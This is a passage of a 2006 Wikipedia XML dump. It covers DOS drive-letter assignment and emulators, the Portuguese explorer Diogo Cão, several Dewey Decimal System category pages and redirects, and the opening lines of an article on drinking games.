Under Microsoft's DOS [[operating system]] and its derivatives drives are referred to by identifying letters. Standard practice is to reserve &quot;A&quot; and &quot;B&quot; for floppy drives. On systems with only one floppy drive DOS permitted the use of both letters for one drive, and displayed prompts to swap disks. This allowed for copying from floppy to floppy (this wasn't a very fast method though as it generally ended up asking for disk swaps far more often than really needed) or having a program run from one floppy whilst having its data on another. Hard drives were originally assigned the letters &quot;C&quot; and &quot;D&quot;, but as support for more hard drives became available this developed into assigning the [[primary partition]]s on each drive (DOS only allowed a single active primary partition per drive even though the partitioning system allowed for more) letters first, then making a second pass over the drives to allocate letters to logical drives in the [[extended partition]]s. Letters for [[CD-ROM]]s, [[RAM disk]]s and other things were allocated after the hard drive partitions. This was often done simply in the order the drivers were loaded, although many drivers could be specifically instructed to take a different letter. Network drives were usually given letters much further on in the alphabet by the network driver software so that they were generally out of the way of this system.

Because these letters were used directly by normal applications (unlike the /dev/* names in [[Unix-like]] operating systems), the addition of an additional hard drive could be disruptive to applications, which then required reconfiguration or even reinstallation. This was especially true if there were logical drives in an extended partition on the original hard drive and the new hard drive had a primary partition, as it would then cause the logical drives on the first hard drive to change letters. However, even if the new hard drive had only logical drives in an extended partition it would still disrupt the letters of [[RAM disk]]s and [[CD-ROM]] drives. This disruptive system persisted through the 9x versions of Windows but NT adopts a slightly different system. It uses the traditional rules when first installing but after that it tries to preserve the letters of existing drives.

==DOS emulators==
Under [[Linux]] it is possible to run copies of DOS and many of its clones under ''[[dosemu]]'', a Linux-native [[virtual machine]] for running [[real mode]] programs.  There are a number of other [[Emulator|emulators]] for running DOS under various versions of UNIX, even on non-[[x86]] platforms.

==Trivia==
*Dos is also the [[spanish language|spanish]] word for the number [[2]].  Coincidentally, DOS runs on a binary computer system in which binary refers to a system of digits using 2 possible values.

==See also==
*[[disk operating system]]
*[[X86 DOS Comparison]]
*[[DOSBox]]
*[[List of DOS commands]]

==External links==
*[http://www.chebucto.ns.ca/~ak621/DOS/DOS-Head.html Richard Bonner's DOS website]
*[http://www.doomwadstation.com/gamedemos Game demos by ID Software for DOS]
*[http://purl.oclc.org/net/Batfiles/ Batfiles: The DOS batch file programming handbook and tutorial]
*[http://www.nukesoft.co.uk/msdos/ ''MS-DOS Reference''] &amp;mdash; Not just for [[MS-DOS]] but also for other DOSses on the [[PC compatible|PC]] platform.
*[http://www.acad.humberc.on.ca/~frig8279/osessay/dos/history ''A Brief Timeline of DOS'']
*[http://www.dosemu.org/ Linux/dosemu]
*[http://www.oldos.org/ Old Os] &amp;mdash; Information and downloads for DOS users (including some freeware utilities)
*[http://www-2.cs.cmu.edu/afs/cs/user/ralf/pub/WWW/files.html ''Ralf Brown's Interrupt List'']
*[http://www.themodernword.com/eco/eco_mac_vs_pc.html Umberto Eco - The Holy War: Mac vs. DOS]
*[http://www.16bitos.com ''16bitos.com - Comprehensive DOS version resource'']
*[http://www.freedos.org FreeDOS (can be downloaded)]
*[http://www.drdos.net DR-DOS]
*[http://www.ibm.com/software/os/dos/ PC-DOS]
*[http://extdos.siteburg.com ExtDOS]

[[Category:Disk operating systems|*DOS]]
[[Category:DOS on IBM PC compatibles|*DOS]]
[[Category:Operating systems]]

[[bs:DOS]]
[[cs:DOS]]
[[da:DOS]]
[[de:Disk Operating System]]
[[es:DOS]]
[[fi:DOS]]
[[fr:Disk Operating System]]
[[he:DOS]]
[[hr:DOS]]
[[hu:DOS]]
[[it:DOS]]
[[ko:도스]]
[[lt:DOS]]
[[lv:DOS]]
[[nl:DOS (besturingssysteem)]]
[[nn:DOS]]
[[no:DOS]]
[[pl:DOS]]
[[ro:DOS]]
[[ru:DOS (операционная система)]]
[[simple:Disk Operating System]]
[[sk:DOS]]
[[sl:DOS]]
[[sv:DOS]]
[[tr:DOS]]
[[zh:DOS]]</text>
    </revision>
  </page>
  <page>
    <title>Diogo Cão</title>
    <id>8148</id>
    <revision>
      <id>41415780</id>
      <timestamp>2006-02-27T04:18:33Z</timestamp>
      <contributor>
        <ip>71.131.76.177</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Caopillar.JPG|thumb|100px|right|The pillar bearing the arms of Portugal erected by Cão at Cape St. Mary]]
'''Diogo Cão''' or '''Cam''' ([[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] /{{IPA|'djo.gu kɐ̃w̃}}/) was a [[Portugal|Portuguese]] [[exploration|explorer]] who made two voyages along the west coast of [[Africa]] in the [[1480s]].

He the first European known. to sight and enter the [[Congo River]], and to explore the West African coast between [[Cape St Catherine]] and [[Cape Cross]] almost from the [[equator]] to [[Walvis Bay]]. When King [[John II of Portugal]] revived the work of [[Henry the Navigator]], he sent out Cão (about midsummer (?) [[1482]]) to open up the African coast still further beyond the equator. The mouth of the Congo was now, discovered (perhaps in August [[1482]]), and marked by a stone pillar (still existing, but only in fragments) erected on [[Shark Point]]; the great river was also ascended for a short distance, and intercourse was opened with the natives of the [[Kongo Empire|Bakongo]] kingdom. Cão then coasted down along the present [[Angola]] (Portuguese West Africa), and erected a second pillar, probably marking the termination of this voyage, at [[Cape Santa Maria]] (the Monte Negro of these first visitors). He certainly returned to Lisbon by the beginning of April [[1484]], when John II ennobled him, made him a cavalleiro of his household (he was already an escudeiro or esquire in the same), and granted him an annuity and a coat of arms ([[April 8th]] [[1484]] and [[April 14th]] [[1484]]). 

That Cão, on his second voyage of [[1484]]-[[1486]], was accompanied by [[Martin Behaim]] (as alleged on the latters [[Nuremberg]] globe of [[1492]]) is very doubtful; but we know that the explorer revisited the Congo and erected two more pillars beyond the furthest of his previous voyage, the first at another Monte Negro, the second at Cape Cross, this last probably marking the end of his progress southward. According to one authority (a legend on the [[1489]] map of [[Henricus Martellus Germanus]]), Cão died off Cape Cross; but [[João de Barros]] and others make him return to the Congo, and take thence a native envoy to Portugal. The four pillars set up by Cão on his two voyages have all been discovered in situ, and the inscriptions on two of them from Cape Santa Maria and Cape Cross, dated [[1482]] and [[1485]] respectively, are still to be read and have been printed; the Cape Cross padrao is now at [[Kiel]] (replaced on the spot by a granite facsimile); those from the Congo estuary and the more southerly Monte Negro are in the Museum of the Lisbon Geographical Society.

==Further reading==
* Barros, João de. ''Decadas da Asia'', Decade i. bk. iii., esp. ch. 3; 
* Ruy de Pina, ''Chronica d'el Rei D. Jodo II.'';
* Garcia de Resende, ''Chronica'';
* Luciano Cordeiro, ''Diogo Cão'' in ''Boletim of the Lisbon Geog. Soc.'', 1892;
* E; G. Ravenstein, ''Voyages of Diogo Co, &amp;c.'', in ''Geog. Jnl.'' vol. xvi. (1900), also ''Geog. Jnl.'' xxxi. (1908).

==See also==
*[[Portugal in the period of discoveries]]

==External links==
* [http://www.win.tue.nl/~engels/discovery/cao.html Diogo Cão]

==References==
*{{1911}}

{{Portugal-explorer-stub}}

[[Category:Portuguese explorers|Cão, Diogo]]
[[Category:Explorers of Africa|Cão, Diogo]]

[[de:Diogo Cão]]
[[es:Diogo Cão]]
[[fr:Diogo Cão]]
[[he:דיוגו קאו]]
[[nl:Diogo Cão]]
[[pl:Diogo Cão]]
[[pt:Diogo Cão]]
[[sr:Диого Сао]]</text>
    </revision>
  </page>
  <page>
    <title>Dewet Decimal System/Generalities</title>
    <id>8149</id>
    <revision>
      <id>15906168</id>
      <timestamp>2003-01-17T05:45:22Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>#REDIRECT [[Wikipedia:Dewey_Decimal_System/0]]</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Dewey_Decimal_System/0]]</text>
    </revision>
  </page>
  <page>
    <title>Dewey Decimal System/Generalities</title>
    <id>8150</id>
    <revision>
      <id>24815797</id>
      <timestamp>2005-10-05T15:06:26Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Dewey Decimal System/0/00/000]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/Philosophy and psychology</title>
    <id>8151</id>
    <revision>
      <id>40432037</id>
      <timestamp>2006-02-20T14:31:07Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Causation]] to [[Causality]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Wikipedia:Dewey Decimal System|Main Categories List]]

:100 [[Philosophy]] &amp; [[psychology]]
::101 Theory of philosophy 
::102 Miscellany of philosophy 
::103 Dictionaries of philosophy 
::104
::105 Serial publications of philosophy 
::106 Organizations of philosophy 
::107 Education, research in philosophy 
::108 [[Philosopher|Kinds of persons in philosophy]] 
::109 [[History of philosophy|Historical treatment of philosophy]]
:110 [[Metaphysics]] 
::111 [[Ontology]] 
::113 [[Cosmology]] (Philosophy of nature) 
::114 [[Space]] 
::115 [[Time]] 
::116 [[Change]] 
::117 [[Structure]] 
::118 [[Force (physics)|Force]] &amp; [[Energy]] 
::119 Number &amp; quantity 
:120 [[Epistemology]], [[Causality|causation]], [[humankind]] 
::121 [[Epistemology]] (Theory of knowledge) 
::122 [[Causality|Causation]] 
::123 [[Determinism]] &amp; [[indeterminism]] 
::124 [[Teleology]] 
::125 Not assigned or no longer used 
::126 The [[personal self | self]] 
::127 The [[unconscious]] &amp; the [[subconscious]] 
::128 [[Humankind]] 
::129 Origin &amp; destiny of individual [[soul]]s 
:130 [[Paranormal phenomena]] 
::131 Occult methods for achieving well-being 
::132
::133 [[Parapsychology]] &amp; [[occultism]] 
::134
::135 [[Dream]]s &amp; mysteries 
::136
::137 [[Divinatory graphology]] 
::138 [[Physiognomy]] 
::139 [[Phrenology]] 
:140 Specific philosophical schools
::141 [[Idealism]] &amp; related systems 
::142 [[Critical philosophy]] 
::143 [[Intuitionism]] &amp; [[Bergsonism]] 
::144 [[Humanism]] &amp; related systems 
::145 [[Sensationalism]] 
::146 [[Philosophical naturalism|Naturalism]] &amp;amp; related systems 
::147 [[Pantheism]] &amp; related systems 
::148 [[Liberalism]], [[eclecticism]], [[traditionalism]] 
::149 Other philosophical systems 
:150 [[Psychology]] 
::151
::152 [[Perception]], [[movement]], [[emotion]]s, drives 
::153 [[Mental process]]es &amp; [[intelligence (trait)|intelligence]] 
::154 [[Subconscious]] &amp; altered states 
::155 [[differential psychology|Differential]] &amp; [[developmental psychology]] 
::156 [[Comparative psychology]] 
::157
::158 [[Applied psychology]]
::159
:160 [[Logic]] 
::161 [[Induction]] 
::162 [[Deduction]] 
::163
::164
::165 [[Logical fallacy|Fallacies]] &amp; sources of error 
::166 [[Syllogism]]s 
::167 [[Hypothesis|Hypotheses]] 
::168 [[Logical argument|Argument]] &amp; [[rhetoric|persuasion]] 
::169 [[Analogy]] 
:170 [[Ethics]] ([[Moral philosophy]]) 
::171 [[Philosophical system|Systems]] &amp; [[Philosophical theory|doctrines]] 
::172 [[Political ethics]] 
::173 [[Ethics of family relationships]] 
::174 [[Economic and professional ethics]] 
::175 [[Ethics of recreation and leisure]] 
::176 [[Ethics of sex and reproduction]] 
::177 [[Ethics of social relations]] 
::178 [[Ethics of consumption]] 
::179 Other ethical norms 
:180 [[Ancient philosophy|Ancient]], [[medieval philosophy|medieval]], [[Oriental philosophy]] 
::181 [[Oriental philosophy]] 
::182 [[The Pre-Socratics|Pre-Socratic Greek philosophies]] 
::183 [[Sophist|Sophistic]] &amp; [[Socrates|Socratic philosophies]] 
::184 [[Plato|Platonic philosophy]] 
::185 [[Aristotle|Aristotelian philosophy]] 
::186 [[Ancient skepticism|Skeptic]] and [[Neoplatonism|Neoplatonic]] philosophies 
::187 [[Epicurean philosophy]] 
::188 [[Stoicism|Stoic philosophy]] 
::189 [[Medieval philosophy|Medieval Western philosophy]] 
:190 [[Contemporary philosophy|Modern Western philosophy]] 
::191 Modern Western philosophy United States &amp; Canada 
::192 Modern Western philosophy British Isles 
::193 Modern Western philosophy Germany &amp; Austria 
::194 Modern Western philosophy France 
::195 Modern Western philosophy Italy 
::196 Modern Western philosophy Spain &amp; Portugal 
::197 Modern Western philosophy Soviet Union 
::198 Modern Western philosophy Scandinavia 
::199 Modern Western philosophy Other geographical areas</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/2</title>
    <id>8152</id>
    <revision>
      <id>15906171</id>
      <timestamp>2005-06-12T21:47:23Z</timestamp>
      <contributor>
        <username>Falcon Kirtaran</username>
        <id>50029</id>
      </contributor>
      <comment>Rename in accordance with version 22</comment>
      <text xml:space="preserve">'''2 Religion'''

* [[Wikipedia:Dewey Decimal System/2/20|20 Religion]]
* [[Wikipedia:Dewey Decimal System/2/21|21 Philosophy &amp; theory of religion]]
* [[Wikipedia:Dewey Decimal System/2/22|22 The Bible]]
* [[Wikipedia:Dewey Decimal System/2/23|23 Christianity &amp; Christian Theology]]
* [[Wikipedia:Dewey Decimal System/2/24|24 Christian practice &amp; observance]]
* [[Wikipedia:Dewey Decimal System/2/25|25 Christian pastoral practice &amp; religious orders]]
* [[Wikipedia:Dewey Decimal System/2/26|26 Christian organisation, social work &amp; worship]]
* [[Wikipedia:Dewey Decimal System/2/27|27 History of Christianity]]
* [[Wikipedia:Dewey Decimal System/2/28|28 Christian denominations]]
* [[Wikipedia:Dewey Decimal System/2/29|29 Other religions]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/3</title>
    <id>8153</id>
    <revision>
      <id>15906172</id>
      <timestamp>2005-06-13T00:07:29Z</timestamp>
      <contributor>
        <username>Falcon Kirtaran</username>
        <id>50029</id>
      </contributor>
      <comment>Overhaul</comment>
      <text xml:space="preserve">'''3 Social sciences'''

*[[Wikipedia:Dewey_Decimal_System/3/30|30 Social sciences, sociology &amp; anthropology]]
*[[Wikipedia:Dewey_Decimal_System/3/31|31 Statistics]]
*[[Wikipedia:Dewey_Decimal_System/3/32|32 Political science]]
*[[Wikipedia:Dewey_Decimal_System/3/33|33 Economics]]
*[[Wikipedia:Dewey_Decimal_System/3/34|34 Law]]
*[[Wikipedia:Dewey_Decimal_System/3/35|35 Public administration &amp; military science]]
*[[Wikipedia:Dewey_Decimal_System/3/36|36 Social problems &amp; social services]]
*[[Wikipedia:Dewey_Decimal_System/3/37|37 Education]]
*[[Wikipedia:Dewey_Decimal_System/3/38|38 Commerce, communications &amp; transportation]]
*[[Wikipedia:Dewey_Decimal_System/3/39|39 Customs, etiquette &amp; folklore]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/4</title>
    <id>8154</id>
    <revision>
      <id>40191753</id>
      <timestamp>2006-02-18T21:31:18Z</timestamp>
      <contributor>
        <username>Marcika</username>
        <id>42989</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] typo fix: &quot;Portugese&quot;</comment>
      <text xml:space="preserve">'''4 Language'''

*[[Wikipedia:Dewey_Decimal_System/4/40|40 Language]]
*[[Wikipedia:Dewey_Decimal_System/4/41|41 Linguistics]]
*[[Wikipedia:Dewey_Decimal_System/4/42|42 English &amp; Old English languages]]
*[[Wikipedia:Dewey_Decimal_System/4/43|43 German &amp; related languages]]
*[[Wikipedia:Dewey_Decimal_System/4/44|44 French &amp; related languages]]
*[[Wikipedia:Dewey_Decimal_System/4/45|45 Italian, Romanian &amp; related languages]]
*[[Wikipedia:Dewey_Decimal_System/4/46|46 Spanish &amp; Portuguese languages]]
*[[Wikipedia:Dewey_Decimal_System/4/47|47 Latin &amp; Italic languages]]
*[[Wikipedia:Dewey_Decimal_System/4/48|48 Classical &amp; modern Greek languages]]
*[[Wikipedia:Dewey_Decimal_System/4/49|49 Other languages]]</text>
    </revision>
  </page>
  <page>
    <title>Dewey Decimal System/Natural sciences and mathematics</title>
    <id>8155</id>
    <revision>
      <id>15906174</id>
      <timestamp>2003-01-17T05:46:24Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>#REDIRECT [[Wikipedia:Dewey_Decimal_System/5]]</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Dewey_Decimal_System/5]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/Technology</title>
    <id>8156</id>
    <revision>
      <id>15906175</id>
      <timestamp>2004-03-03T10:07:21Z</timestamp>
      <contributor>
        <username>Sfdan</username>
        <id>3464</id>
      </contributor>
      <comment>Link to meal</comment>
      <text xml:space="preserve">[[Wikipedia:Dewey Decimal System|Main Categories List]]

:600 [[Technology]] ([[Applied sciences]]) 
::601 Philosophy &amp; theory 
::602 Miscellany 
::603 Dictionaries &amp; encyclopedias 
::604 Special topics 
::605 Serial publications 
::606 Organizations 
::607 Education, research, related topics 
::608 Invention &amp; [[patent]]s 
::609 Historical, areas, persons treatment 
:610 [[Medical sciences]] [[Medicine]] 
::611 [[Human anatomy]], [[Human cytology]],[[Human histology]]
::612 [[Human physiology]]
::613 Promotion of [[health]] 
::614 Incidence &amp; prevention of [[disease]] 
::615 [[Pharmacology]] &amp; therapeutics 
::616 [[Diseases]] 
::617 [[Surgery]] &amp; related medical specialities 
::618 [[Gynecology]] &amp; other medical specialities 
::619 [[Experimental medicine]] 
:620 [[Engineering]] &amp; allied operations 
::621 [[Applied physics]] 
::622 [[Mining]] &amp; related operations 
::623 [[Military engineering]] &amp; [[nautical engineering]] 
::624 [[Civil engineering]] 
::625 Engineering of [[railroad]]s, [[road]]s 
::626
::627 [[Hydraulic engineering]] 
::628 [[Sanitary engineering]] &amp; [[municipal engineering]] 
::629 Other branches of engineering 
:630 [[Agriculture]] 
::631 Techniques, equipment, materials 
::632 [[Plant injuries]], [[Plant diseases]], [[Plant pests]]
::633 Field &amp; plantation crops 
::634 [[Orchard]]s, [[fruit]]s, [[forestry]] 
::635 [[Garden]] crops ([[Horticulture]]) 
::636 [[Animal husbandry]] 
::637 Processing [[dairy]] &amp; related products 
::638 [[Insect culture]] 
::639 [[Hunting]], [[fishing]], [[conservation]] 
:640 [[Home economics]] &amp; family living 
::641 [[Food]] &amp; [[drink]] 
::642 [[Meal|Meals]] &amp; table service 
::643 Housing &amp; household equipment 
::644 [[Household utilities]] 
::645 [[Household furnishings]] 
::646 [[Sewing]], [[clothing]], personal living 
::647 Management of public households 
::648 [[Housekeeping]] 
::649 [[Child rearing]] &amp; home care of sick 
:650 Management &amp; auxiliary services 
::651 [[Office services]] 
::652 Processes of written communication 
::653 [[Shorthand]]
::654
::655
::656
::657 [[Accounting]] 
::658 General management 
::659 [[Advertising]] &amp; [[public relations]] 
:660 [[Chemical engineering]] 
::661 Industrial chemicals technology 
::662 [[Explosives]], [[fuel]]s technology 
::663 [[Beverage]] technology 
::664 [[Food]] technology 
::665 Industrial [[oil]]s, [[fat]]s, [[wax]]es, [[gas]]es 
::666 [[Ceramic]] &amp; allied technologies 
::667 Cleaning, color, related technologies 
::668 Technology of other organic products 
::669 [[Metallurgy]] 
:670 [[Manufacturing]] 
::671 [[Metalworking]] &amp; metal products 
::672 [[Iron]], [[steel]], other iron alloys 
::673 [[Nonferrous metals]] 
::674 [[Lumber]] processing, [[wood]] products, [[cork (material)|cork]] 
::675 [[Leather processing]] &amp; [[fur processing]]
::676 Pulp &amp; [[paper]] technology 
::677 [[Textiles]] 
::678 [[Elastomer]]s &amp; elastomer products 
::679 Other products of specific materials 
:680 Manufacture for specific uses 
::681 Precision instruments &amp; other devices 
::682 Small forge work ([[Blacksmithing]]) 
::683 Hardware &amp; household appliances 
::684 Furnishings &amp; home workshops 
::685 [[Leather]], [[fur]], related products 
::686 [[Printing]] &amp; related activities 
::687 [[Clothing]] 
::688 Other final products &amp; packaging 
::689
:690 [[Building]]s 
::691 Building materials 
::692 Auxiliary construction practices 
::693 Specific materials &amp; purposes 
::694 Wood construction ([[Carpentry]])
::695 Roof covering 
::696 [[Utilities]] 
::697 [[HVAC|Heating, ventilating, air-conditioning]] 
::698 Detail finishing 
::699</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/The arts</title>
    <id>8157</id>
    <revision>
      <id>34590121</id>
      <timestamp>2006-01-10T06:54:59Z</timestamp>
      <contributor>
        <username>Ganymead</username>
        <id>63507</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Wikipedia:Dewey Decimal System|Main Categories List]]

:700 The arts 
::701 Philosophy &amp; theory 
::702 Miscellany 
::703 Dictionaries &amp; encyclopedias 
::704 Special topics 
::705 Serial publications 
::706 Organizations &amp; management 
::707 Education, research, related topics 
::708 Galleries, museums, private collections 
::709 Historical, areas, persons treatment 
:710 Civic &amp; landscape art 
::711 Area planning ([[Civic art]]) 
::712 [[Landscape architecture]] 
::713 Landscape architecture of trafficways 
::714 Water features 
::715 [[Woody plant]]s 
::716 [[Herbaceous plant]]s 
::717 Structures 
::718 Landscape design of [[cemetery|cemeteries]] 
::719 Natural landscapes 
:720 [[Architecture]] 
::721 Architectural structure 
::722 Architecture to ca. 300 
::723 Architecture from ca. 300 to 1399 
::724 Architecture from 1400 
::725 Public structures 
::726 [[Buildings for religious purposes]] 
::727 [[Buildings for education]] &amp; research 
::728 [[Residential buildings|residential]] &amp; related buildings 
::729 Design &amp; decoration 
:730 Plastic arts ([[Sculpture]])
::731 Processes, forms, subjects of sculpture 
::732 Sculpture to ca. 500 
::733 Greek, Etruscan, Roman sculpture 
::734 Sculpture from ca. 500 to 1399 
::735 Sculpture from 1400 
::736 [[Carving]] &amp; carvings 
::737 [[Numismatics]] &amp; [[sigillography]] 
::738 [[Ceramics|Ceramic arts]] 
::739 Art [[metalwork]] 
:740 [[Drawing]] &amp; [[decorative arts]]
::741 Drawing &amp; drawings 
::742 [[Perspective]] 
::743 Drawing &amp; drawings by subject 
::744 Not assigned or no longer used 
::745 Decorative arts 
::745.6 [[Calligraphy]]
::746 [[Textile arts]] 
::747 [[Interior decoration]] 
::748 [[Glass]] 
::749 [[Furniture]] &amp; accessories 
:750 [[Painting]] &amp; paintings 
::751 Techniques, equipment, forms 
::752 [[Color]] 
::753 Symbolism, allegory, mythology, legend 
::754 Genre paintings 
::755 Religion &amp; religious symbolism 
::757 Human figures &amp; their parts 
::758 Other subjects 
::759 Historical, areas, persons treatment 
:760 [[Graphic arts]], [[Printmaking]] &amp; prints 
::761 Relief processes ([[Block printing]]) 
::762
::763 [[lithography|Lithographic]] ([[planography|Planographic]]) processes 
::764 [[Chromolithography]] &amp; [[serigraphy]] 
::765 [[Metal engraving]] 
::766 Mezzotinting &amp; related processes 
::767 [[Etching]] &amp; [[drypoint]] 
::768
::769 Prints 
:770 [[Photography]] &amp; photographs 
::771 Techniques, equipment, materials 
::772 Metallic salt processes 
::773 Pigment processes of printing 
::774 [[Holography]] 
::778 Fields &amp; kinds of [[Photography]] 
::779 Photographs 
:780 [[Music]] 
::781 General principles &amp; musical forms 
::782 [[Vocal music]] 
::783 Music for single voices, The [[human voice|voice]]
::784 [[Musical instrument|Instruments]] &amp; Instrumental ensembles 
::785 [[Chamber music]] 
::786 [[Keyboard instrument|Keyboard]] &amp; other instruments 
::787 [[String instrument]]s ([[Chordophone]]s) 
::788 [[Wind instrument]]s ([[Aerophone]]s) 
:790 Recreational &amp; [[performing arts]] 
::791 Public performances 
:::791.43 [[Film]] &amp; [[Movies]]
:::791.45 [[Television]]
:::791.53 [[Puppetry]]
::792 [[Theater|Stage presentations]]
::793 [[Games|Indoor games &amp; amusements]] 
::794 Indoor games of skill 
::795 [[Games of Chance]] 
::796 Athletic &amp; outdoor [[sports]] &amp; games 
::797 [[List of water sports|Aquatic]] &amp; [[Parachuting|air]] sports 
::798 Equestrian sports &amp; animal racing 
::799 [[Fishing]], [[hunting]], [[shooting]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/Literature and rhetoric</title>
    <id>8158</id>
    <revision>
      <id>15906177</id>
      <timestamp>2003-01-04T02:10:41Z</timestamp>
      <contributor>
        <username>Stephen Gilbert</username>
        <id>86</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Wikipedia:Dewey Decimal System|Main Categories List]]

:800 [[Literature]] &amp; [[rhetoric]] 
::801 Philosophy &amp; theory 
::802 Miscellany 
::803 Dictionaries &amp; encyclopedias 
::804
::805 Serial publications 
::806 Organizations 
::807 Education, research, related topics 
::808 Rhetoric &amp; collections of literature 
::809 [[Literary history]] &amp; [[Literary criticism|criticism]]
:810 [[American literature]] in English 
::811 [[Poetry]]
::812 [[Drama]] 
::813 [[Fiction]]
::814 [[Essay]]s 
::815 [[Speech]]es 
::816 [[Letter]]s
::817 [[Satire]] &amp; [[humor]] 
::818 Miscellaneous writings 
::819
:820 English &amp; Old [[English literature]]s 
::821 English poetry 
::822 English drama 
::823 English fiction 
::824 English essays 
::825 English speeches 
::826 English letters 
::827 English satire &amp; humor 
::828 English miscellaneous writings 
::829 Old English (Anglo-Saxon) 
:830 [[German literature|Literatures of Germanic languages]]
::831 German poetry 
::832 German drama 
::833 German fiction 
::834 German essays 
::835 German speeches 
::836 German letters 
::837 German satire &amp; humor 
::838 German miscellaneous writings 
::839 Other Germanic literatures 
:840 [[French literature|Literatures of Romance languages]]
::841 French poetry 
::842 French drama 
::843 French fiction 
::844 French essays 
::845 French speeches 
::846 French letters 
::847 French satire &amp; humor 
::848 French miscellaneous writings 
::849 [[Provencal literature|Provencal]] &amp; [[Catalan literature|Catalan]] 
:850 [[Italian literature|Italian]], [[Romanian literature|Romanian]], [[Rhaeto-Romanic literature|Rhaeto-Romanic]]
::851 Italian poetry 
::852 Italian drama 
::853 Italian fiction 
::854 Italian essays 
::855 Italian speeches 
::856 Italian letters 
::857 Italian satire &amp; humor 
::858 Italian miscellaneous writings 
::859 Romanian &amp; Rhaeto-Romanic 
:860 [[Spanish literature|Spanish]] &amp; [[Portuguese literature|Portuguese]] literatures 
::861 Spanish poetry 
::862 Spanish drama 
::863 Spanish fiction 
::864 Spanish essays 
::865 Spanish speeches 
::866 Spanish letters 
::867 Spanish satire &amp; humor 
::868 Spanish miscellaneous writings 
::869 Portuguese 
:870 Italic literatures [[Latin literature|Latin]]
::871 Latin poetry 
::872 Latin dramatic poetry &amp; drama 
::873 Latin epic poetry &amp; fiction 
::874 Latin lyric poetry 
::875 Latin speeches 
::876 Latin letters 
::877 Latin satire &amp; humor 
::878 Latin miscellaneous writings 
::879 Literatures of other Italic languages 
:880 Hellenic literatures Classical [[Greek literature|Greek]]
::881 Classical Greek poetry 
::882 Classical Greek drama 
::883 Classical Greek epic poetry &amp; fiction 
::884 Classical Greek lyric poetry 
::885 Classical Greek speeches 
::886 Classical Greek letters 
::887 Classical Greek satire &amp; humor 
::888 Classical Greek miscellaneous writings 
::889 Modern Greek 
:890 Literatures of other languages 
::891 East Indo-European &amp; [[Celtic literature|Celtic]] 
::892 Afro-Asiatic literatures [[Hebrew literature|Semitic]] 
::893 Non-Semitic Afro-Asiatic literatures 
::894 Ural-Altaic, Paleosiberian, Dravidian 
::895 [[Literatures of East &amp; Southeast Asia|Asian literature]] 
::896 [[African literature]]s 
::897 [[North American native literature]]s 
::898 [[South American native literature]]s 
::899 Other literatures</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Dewey Decimal System/9</title>
    <id>8159</id>
    <revision>
      <id>39864847</id>
      <timestamp>2006-02-16T11:27:20Z</timestamp>
      <contributor>
        <username>Callumm</username>
        <id>749115</id>
      </contributor>
      <text xml:space="preserve">[[Wikipedia:Dewey Decimal System|Main Categories List]]

* [[Wikipedia:Dewey Decimal System/9/90|90 History]]
* [[Wikipedia:Dewey Decimal System/9/91|91 Geography &amp; Travel]] 
* [[Wikipedia:Dewey Decimal System/9/92|92 Biography &amp; Genealogy]]  
* [[Wikipedia:Dewey Decimal System/9/93|93 History of ancient world]]
* [[Wikipedia:Dewey Decimal System/9/94|94 History of Europe]]
* [[Wikipedia:Dewey Decimal System/9/95|95 History of Asia]]
* [[Wikipedia:Dewey Decimal System/9/96|96 History of Africa]]
* [[Wikipedia:Dewey Decimal System/9/97|97 History of North America]]
* [[Wikipedia:Dewey Decimal System/9/98|98 History of South America]]
* [[Wikipedia:Dewey Decimal System/9/99|99 History of other areas]]</text>
    </revision>
  </page>
  <page>
    <title>Dewey Decimal System</title>
    <id>8161</id>
    <revision>
      <id>15906180</id>
      <timestamp>2003-01-04T01:24:53Z</timestamp>
      <contributor>
        <username>Stephen Gilbert</username>
        <id>86</id>
      </contributor>
      <comment>moving content to Wikipedia:, redirect [[Dewey Decimal Classification]]</comment>
      <text xml:space="preserve">#REDIRECT [[Dewey Decimal Classification]]</text>
    </revision>
  </page>
  <page>
    <title>Drinking game</title>
    <id>8162</id>
    <revision>
      <id>42140963</id>
      <timestamp>2006-03-04T02:18:16Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.149.157.177|24.149.157.177]] ([[User talk:24.149.157.177|Talk]]) to last version by Harvestdancer</comment>
      <text xml:space="preserve">{{Drinking games}}
'''Drinking games''' are [[game]]s which involve drinking [[alcoholic beverage]]s. The point is either simply to drink, or to make your opponent drink more than you do, so that they become [[drunk]] and drink even more, and so forth. [[Kottabos]] is an ancient game involving skill in pouring a swig of wine into a large vessel. A modern variant of Cottabus, known as [[Arrogance (game)|Arrogance]], has players take turns to add as much beverage as they like to a central jug before correctly calling a flip of a coin. Failure to call the coin correctly (or dropping it, a real possibility during the later stages of the game), means the unlucky (or clumsily drunk) player must drink the entire contents of the central jug. 

